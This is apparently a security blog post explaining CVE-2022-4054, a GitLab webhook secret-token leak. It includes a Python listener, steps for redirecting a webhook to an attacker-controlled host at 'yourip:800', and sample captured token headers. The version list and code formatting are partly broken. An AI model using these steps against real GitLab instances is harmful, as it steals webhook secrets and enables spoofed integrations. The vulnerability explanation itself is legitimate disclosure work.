Recently, a security issue was found in GitLab, an extremely popular tool used by millions of developers to collaborate on code. The vulnerability, tracked as CVE-2022-4054, is all about how webhook secret tokens can be leaked by project maintainers. If you’re responsible for a GitLab instance or write code that integrates with it, you’ll want to pay close attention.
This post gives you a simple, yet in-depth explanation of the bug, with code snippets, details on how someone could exploit it, and links to all the important info.
What’s the Vulnerability?
In GitLab, webhooks let you automate tasks by sending HTTP POST requests to external URLs when certain things happen (like push events). Each webhook can have a secret token. This token is sent in the X-Gitlab-Token HTTP header, letting the recipient verify that requests actually came from GitLab and not from someone else.
The problem:
In affected versions of GitLab, a project maintainer could change a project’s webhook URL to a server they control. When GitLab then sends an event to the new URL, it includes the secret token in the headers. This means the maintainer can easily capture the token, which could then be used to spoof legitimate webhook calls elsewhere, or generally leak secrets you were trusting GitLab to keep safe.
All versions from 15.6 before 15.6.1
Make sure you update to at least 15.4.6, 15.5.5, or 15.6.1, depending on which branch you're on!
1. Create a Listening Endpoint
First, the attacker (project maintainer) sets up a simple web server to catch incoming HTTP requests and log their headers.
For example, using Python
from http.server import BaseHTTPRequestHandler, HTTPServer
class Handler(BaseHTTPRequestHandler):
def do_POST(self):
print("Headers:\n{}".format(self.headers))
self.send_response(200)
self.end_headers()
self.wfile.write(b'OK')
if __name__ == "__main__":
server = HTTPServer(('...', 800), Handler)
print("Listening on port 800...")
server.serve_forever()
This script will print out any headers, including the X-Gitlab-Token, for every POST request.
Find a webhook you want to target
- Change its “URL” field to point to your malicious server (e.g., http://yourip:800/)
3. Trigger an Event
Perform an action (like pushing a commit) that triggers the webhook. GitLab will send a POST request to the new URL, including your secret token in the X-Gitlab-Token header.
Your server logs will show something like
Headers:
Host: yourip:800
User-Agent: GitLab/15.
X-Gitlab-Event: Push Hook
X-Gitlab-Token: ThisIsTheSuperSecretToken
Content-Type: application/json
...
4. Use or Abuse the Token
Now, the attacker has the *exact token* meant to guarantee the webhook’s security.
Why Is This a Problem?
Project maintainers are expected to be quite trusted—but not necessarily all-powerful. The secret token is supposed to protect against spoofed webhooks, especially when integrations with third-party systems are involved.
Because the leak is “by design” (GitLab always includes the token in requests), any maintainer with the right project permissions could easily leak the token to any server. This means if you ever rotated maintainers, or thought the token was fully isolated, you could actually have had it exposed.
Official Fix
GitLab fixed this by ensuring that secret tokens cannot be leaked just by changing the webhook URL. As of the fixed versions, tokens are either reset, removed, or interaction is appropriately limited when webhooks are changed.
Upgrade your GitLab instance!
- GitLab Security Release Blog
- GitLab CVE-2022-4054 Advisory
Reference Links
- CVE-2022-4054 on NVD
- GitLab Security Advisory
- GitLab Documentation on Webhooks
Conclusion
CVE-2022-4054 is a classic case of “what you don’t expect can hurt you.” If you use webhooks in GitLab, treat tokens as precious secrets, and keep your instance up to date. Even highly-trusted users can sometimes make mistakes, or could act maliciously.
Timeline
Published on: 01/26/2023 21:18:00 UTC
Last modified on: 02/01/2023 17:22:00 UTC